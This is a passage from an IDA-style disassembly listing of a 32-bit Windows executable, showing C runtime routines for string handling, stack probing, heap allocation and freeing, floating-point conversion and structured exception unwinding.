loc_415909: ; CODE XREF: sub_4158E0+32j
mov al, [esi]
inc esi
loc_41590C: ; CODE XREF: sub_4158E0+3Fj
cmp al, dl
jz short loc_41591A
test al, al
jnz short loc_415909
loc_415914: ; CODE XREF: sub_4158E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41591A: ; CODE XREF: sub_4158E0+23j
; sub_4158E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41590C
lea edi, [esi-1]
loc_415924: ; CODE XREF: sub_4158E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_415953
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_4158F8
mov al, [ecx+3]
test al, al
jz short loc_415953
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_415924
jmp short loc_4158F8
; ---------------------------------------------------------------------------
loc_415947: ; CODE XREF: sub_4158E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_416F26
; ---------------------------------------------------------------------------
loc_415953: ; CODE XREF: sub_4158E0+49j
; sub_4158E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41595A: ; CODE XREF: sub_4158E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_4158E0 endp
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_40211C+92p
; sub_4059FC+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_415975
or eax, 0FFFFFFFFh
jmp short loc_4159AF
; ---------------------------------------------------------------------------
loc_415975: ; CODE XREF: sub_415960+Ej
test al, 83h
jz short loc_4159AD
push esi
call sub_418704
push esi
mov edi, eax
call sub_41869E
push dword ptr [esi+10h]
call sub_4185EB
add esp, 0Ch
test eax, eax
jge short loc_41599B
or edi, 0FFFFFFFFh
jmp short loc_4159AD
; ---------------------------------------------------------------------------
loc_41599B: ; CODE XREF: sub_415960+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_4159AD
push eax
call sub_415C9B
and dword ptr [esi+1Ch], 0
pop ecx
loc_4159AD: ; CODE XREF: sub_415960+17j
; sub_415960+39j ...
mov eax, edi
loc_4159AF: ; CODE XREF: sub_415960+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_415960 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159B6 proc near ; CODE XREF: sub_40211C+8Cp
; sub_40CD3A+2945p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4187D6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417D6C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_418863
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_4159B6 endp
; =============== S U B R O U T I N E =======================================
sub_4159E8 proc near ; CODE XREF: sub_415A08+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_418A10
test eax, eax
jnz short loc_4159F2
retn
; ---------------------------------------------------------------------------
loc_4159F2: ; CODE XREF: sub_4159E8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4188A0
add esp, 10h
retn
sub_4159E8 endp
; =============== S U B R O U T I N E =======================================
sub_415A08 proc near ; CODE XREF: sub_40211C+54p
; sub_4059FC+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4159E8
add esp, 0Ch
retn
sub_415A08 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415A20 proc near ; CODE XREF: sub_405A96+2AEp
; sub_4098D4+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_415A91
sub_415A20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415A30 proc near ; CODE XREF: sub_40211C+32p
; sub_40211C+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_415A4C
loc_415A3D: ; CODE XREF: sub_415A30+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_415A7F
test ecx, 3
jnz short loc_415A3D
loc_415A4C: ; CODE XREF: sub_415A30+Bj
; sub_415A30+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415A4C
mov eax, [ecx-4]
test al, al
jz short loc_415A8E
test ah, ah
jz short loc_415A89
test eax, 0FF0000h
jz short loc_415A84
test eax, 0FF000000h
jz short loc_415A7F
jmp short loc_415A4C
; ---------------------------------------------------------------------------
loc_415A7F: ; CODE XREF: sub_415A30+12j
; sub_415A30+4Bj
lea edi, [ecx-1]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A84: ; CODE XREF: sub_415A30+44j
lea edi, [ecx-2]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A89: ; CODE XREF: sub_415A30+3Dj
lea edi, [ecx-3]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A8E: ; CODE XREF: sub_415A30+39j
lea edi, [ecx-4]
loc_415A91: ; CODE XREF: sub_415A20+5j
; sub_415A30+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_415AB6
loc_415A9D: ; CODE XREF: sub_415A30+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_415B08
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_415A9D
jmp short loc_415AB6
; ---------------------------------------------------------------------------
loc_415AB1: ; CODE XREF: sub_415A30+9Ej
; sub_415A30+B8j
mov [edi], edx
add edi, 4
loc_415AB6: ; CODE XREF: sub_415A30+6Bj
; sub_415A30+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_415AB1
test dl, dl
jz short loc_415B08
test dh, dh
jz short loc_415AFF
test edx, 0FF0000h
jz short loc_415AF2
test edx, 0FF000000h
jz short loc_415AEA
jmp short loc_415AB1
; ---------------------------------------------------------------------------
loc_415AEA: ; CODE XREF: sub_415A30+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415AF2: ; CODE XREF: sub_415A30+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_415AFF: ; CODE XREF: sub_415A30+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415B08: ; CODE XREF: sub_415A30+72j
; sub_415A30+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_415A30 endp
; =============== S U B R O U T I N E =======================================
sub_415B10 proc near ; CODE XREF: sub_4021FB+19Cp
; sub_4021FB+1F0p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_415B30
loc_415B1C: ; CODE XREF: sub_415B10+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_415B63
test ecx, 3
jnz short loc_415B1C
add eax, 0
loc_415B30: ; CODE XREF: sub_415B10+Aj
; sub_415B10+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415B30
mov eax, [ecx-4]
test al, al
jz short loc_415B81
test ah, ah
jz short loc_415B77
test eax, 0FF0000h
jz short loc_415B6D
test eax, 0FF000000h
jz short loc_415B63
jmp short loc_415B30
; ---------------------------------------------------------------------------
loc_415B63: ; CODE XREF: sub_415B10+11j
; sub_415B10+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_415B10+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B77: ; CODE XREF: sub_415B10+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B81: ; CODE XREF: sub_415B10+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_415B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415B90 proc near ; CODE XREF: sub_4024D0+8p
; sub_40297A+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_415BB0
loc_415B9C: ; CODE XREF: sub_415B90+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_415B9C
loc_415BB0: ; CODE XREF: sub_415B90+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_415B90 endp
; =============== S U B R O U T I N E =======================================
sub_415BBF proc near ; CODE XREF: sub_402FCD+7Ap
; sub_402FCD+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_415BD3
loc_415BCB: ; CODE XREF: sub_415BBF+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_415BCB
loc_415BD3: ; CODE XREF: sub_415BBF+Aj
mov edx, [esp+arg_4]
push esi
loc_415BD8: ; CODE XREF: sub_415BBF+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_415BD8
pop esi
retn
sub_415BBF endp
; =============== S U B R O U T I N E =======================================
sub_415BE9 proc near ; CODE XREF: sub_403166+21Dp
; sub_4033B6+BEp ...
arg_0 = dword ptr 4
push dword_46B694
push [esp+4+arg_0]
call sub_415BFB
pop ecx
pop ecx
retn
sub_415BE9 endp
; =============== S U B R O U T I N E =======================================
sub_415BFB proc near ; CODE XREF: sub_415BE9+Ap
; sub_416655+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_415C24
loc_415C02: ; CODE XREF: sub_415BFB+27j
push [esp+arg_0]
call sub_415C27
test eax, eax
pop ecx
jnz short locret_415C26
cmp [esp+arg_4], eax
jz short locret_415C26
push [esp+arg_0]
call sub_418A88
test eax, eax
pop ecx
jnz short loc_415C02
loc_415C24: ; CODE XREF: sub_415BFB+5j
xor eax, eax
locret_415C26: ; CODE XREF: sub_415BFB+13j
; sub_415BFB+19j
retn
sub_415BFB endp
; =============== S U B R O U T I N E =======================================
sub_415C27 proc near ; CODE XREF: sub_415BFB+Bp
arg_0 = dword ptr 4
mov eax, dword_46CCA8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_415C4B
cmp esi, dword_46CCA0
ja short loc_415C7D
push esi
call sub_419011
test eax, eax
pop ecx
jz short loc_415C7D
pop esi
retn
; ---------------------------------------------------------------------------
loc_415C4B: ; CODE XREF: sub_415C27+Dj
cmp eax, 2
jnz short loc_415C7D
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_415C60
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_415C63
; ---------------------------------------------------------------------------
loc_415C60: ; CODE XREF: sub_415C27+2Fj
push 10h
pop esi
loc_415C63: ; CODE XREF: sub_415C27+37j
cmp esi, dword_43A164
ja short loc_415C8A
mov eax, esi
shr eax, 4
push eax
call sub_419AB4
test eax, eax
pop ecx
jnz short loc_415C99
jmp short loc_415C8A
; ---------------------------------------------------------------------------
loc_415C7D: ; CODE XREF: sub_415C27+15j
; sub_415C27+20j ...
test esi, esi
jnz short loc_415C84
push 1
pop esi
loc_415C84: ; CODE XREF: sub_415C27+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_415C8A: ; CODE XREF: sub_415C27+42j
; sub_415C27+54j
push esi
push 0
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
loc_415C99: ; CODE XREF: sub_415C27+52j
pop esi
retn
sub_415C27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C9B proc near ; CODE XREF: sub_4033B6+10Bp
; sub_4033B6+113p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_415D01
mov eax, dword_46CCA8
cmp eax, 3
jnz short loc_415CC7
push esi
call sub_418CBD
pop ecx
test eax, eax
push esi
jz short loc_415CF3
push eax
call sub_418CE8
pop ecx
pop ecx
jmp short loc_415D01
; ---------------------------------------------------------------------------
loc_415CC7: ; CODE XREF: sub_415C9B+14j
cmp eax, 2
jnz short loc_415CF2
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_419A18
add esp, 0Ch
test eax, eax
jz short loc_415CF2
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_419A6F
add esp, 0Ch
jmp short loc_415D01
; ---------------------------------------------------------------------------
loc_415CF2: ; CODE XREF: sub_415C9B+2Fj
; sub_415C9B+44j
push esi
loc_415CF3: ; CODE XREF: sub_415C9B+20j
push 0
push dword_46CCA4
call dword_421150 ; RtlFreeHeap
loc_415D01: ; CODE XREF: sub_415C9B+Aj
; sub_415C9B+2Aj ...
pop esi
leave
retn
sub_415C9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415D04(double)
sub_415D04 proc near ; CODE XREF: sub_404630+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437EE0
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415D8A
call sub_41A579
pop ecx
test eax, eax
pop ecx
jle short loc_415D6D
cmp eax, 2
jle short loc_415D5F
cmp eax, 3
jnz short loc_415D6D
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_419E89
add esp, 10h
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415D5F: ; CODE XREF: sub_415D04+3Fj
push esi
push ebx
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415D6D: ; CODE XREF: sub_415D04+3Aj
; sub_415D04+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_415DC7
; ---------------------------------------------------------------------------
loc_415D8A: ; CODE XREF: sub_415D04+2Fj
call sub_41A53E
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415DAD
loc_415D9F: ; CODE XREF: sub_415D04+ACj
push esi
push ebx
call sub_41A6B1
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415DAD: ; CODE XREF: sub_415D04+99j
test bl, 20h
jnz short loc_415D9F
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_415DC7: ; CODE XREF: sub_415D04+84j
call sub_419EDC
add esp, 1Ch
loc_415DCF: ; CODE XREF: sub_415D04+59j
; sub_415D04+67j ...
pop esi
pop ebx
leave
retn
sub_415D04 endp
; =============== S U B R O U T I N E =======================================
sub_415DD3 proc near ; CODE XREF: sub_41781A+9p
; sub_41A77A+21p
; DATA XREF: ...
call sub_415DEB
call sub_41A77A
mov dword_46B610, eax
call sub_41A72A
fnclex
retn
sub_415DD3 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415DEB proc near ; CODE XREF: sub_415DD3p
mov eax, offset sub_41AB68
mov off_43A284, offset sub_41A7FD
mov off_43A280, eax
mov off_43A288, offset sub_41A863
mov off_43A28C, offset sub_41A7A3
mov off_43A290, offset sub_41A84B
mov off_43A294, eax
retn
sub_415DEB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E24 proc near ; CODE XREF: sub_404630+1Bp
; sub_404630+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_415E24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415E4B(double)
sub_415E4B proc near ; CODE XREF: sub_40467C+83p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437EF8
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415ED1
call sub_41A579
pop ecx
test eax, eax
pop ecx
jle short loc_415EB4
cmp eax, 2
jle short loc_415EA6
cmp eax, 3
jnz short loc_415EB4
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_419E89
add esp, 10h
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: sub_415E4B+3Fj
push esi
push ebx
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EB4: ; CODE XREF: sub_415E4B+3Aj
; sub_415E4B+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_415F0E
; ---------------------------------------------------------------------------
loc_415ED1: ; CODE XREF: sub_415E4B+2Fj
call sub_41A53E
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415EF4
loc_415EE6: ; CODE XREF: sub_415E4B+ACj
push esi
push ebx
call sub_41A6B1
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EF4: ; CODE XREF: sub_415E4B+99j
test bl, 20h
jnz short loc_415EE6
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_415F0E: ; CODE XREF: sub_415E4B+84j
call sub_419EDC
add esp, 1Ch
loc_415F16: ; CODE XREF: sub_415E4B+59j
; sub_415E4B+67j ...
pop esi
pop ebx
leave
retn
sub_415E4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F1A proc near ; CODE XREF: sub_41AFD9+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_415F1A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_415F4E proc near ; CODE XREF: sub_41B18A+199p
; sub_41B34E+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_415F4E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415F55 proc near ; CODE XREF: sub_41B18A+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_415F55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F5C proc near ; CODE XREF: sub_41610E+5Cp
; sub_41AFD9:loc_41B00Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_415F84
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_420A0C ; RtlUnwind
loc_415F84: ; DATA XREF: sub_415F5C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_415F5C endp
; ---------------------------------------------------------------------------
loc_415FAB: ; CODE XREF: seg001:00420B68j
; seg001:00420B85j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41ABDE
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FE1 proc near ; CODE XREF: sub_41B054+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_416035
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41B3E0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_415FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416035 proc near ; DATA XREF: sub_415FE1+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41ABDE
add esp, 20h
pop ebp
retn
sub_416035 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41605A proc near ; CODE XREF: sub_41AE20+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41610E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_4160E0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_46B6B8
pop ecx
pop ecx
and [ebp+var_34], 0
loc_4160E0: ; DATA XREF: sub_41605A+3Co
cmp [ebp+var_4], 0
jz short loc_4160FD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_416106
; ---------------------------------------------------------------------------
loc_4160FD: ; CODE XREF: sub_41605A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_416106: ; CODE XREF: sub_41605A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41605A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41610E proc near ; DATA XREF: sub_41605A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_416131
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41617E
; ---------------------------------------------------------------------------
loc_416131: ; CODE XREF: sub_41610E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41ABDE
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41616F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_415F5C
loc_41616F: ; CODE XREF: sub_41610E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41617E: ; CODE XREF: sub_41610E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41610E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416183 proc near ; CODE XREF: sub_41AC79+C6p
; sub_41AE20+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_4161DA
loc_4161A1: ; CODE XREF: sub_416183+52j
cmp esi, 0FFFFFFFFh
jnz short loc_4161AB
call sub_41B482
loc_4161AB: ; CODE XREF: sub_416183+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_4161C0
cmp ecx, [eax+8]
jle short loc_4161C5
loc_4161C0: ; CODE XREF: sub_416183+36j
cmp esi, 0FFFFFFFFh
jnz short loc_4161D1
loc_4161C5: ; CODE XREF: sub_416183+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_4161D1: ; CODE XREF: sub_416183+40j
cmp [ebp+arg_4], 0
jge short loc_4161A1
mov eax, [ebp+var_4]
loc_4161DA: ; CODE XREF: sub_416183+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_4161EE
cmp esi, eax
jbe short loc_4161F3
loc_4161EE: ; CODE XREF: sub_416183+65j
call sub_41B482
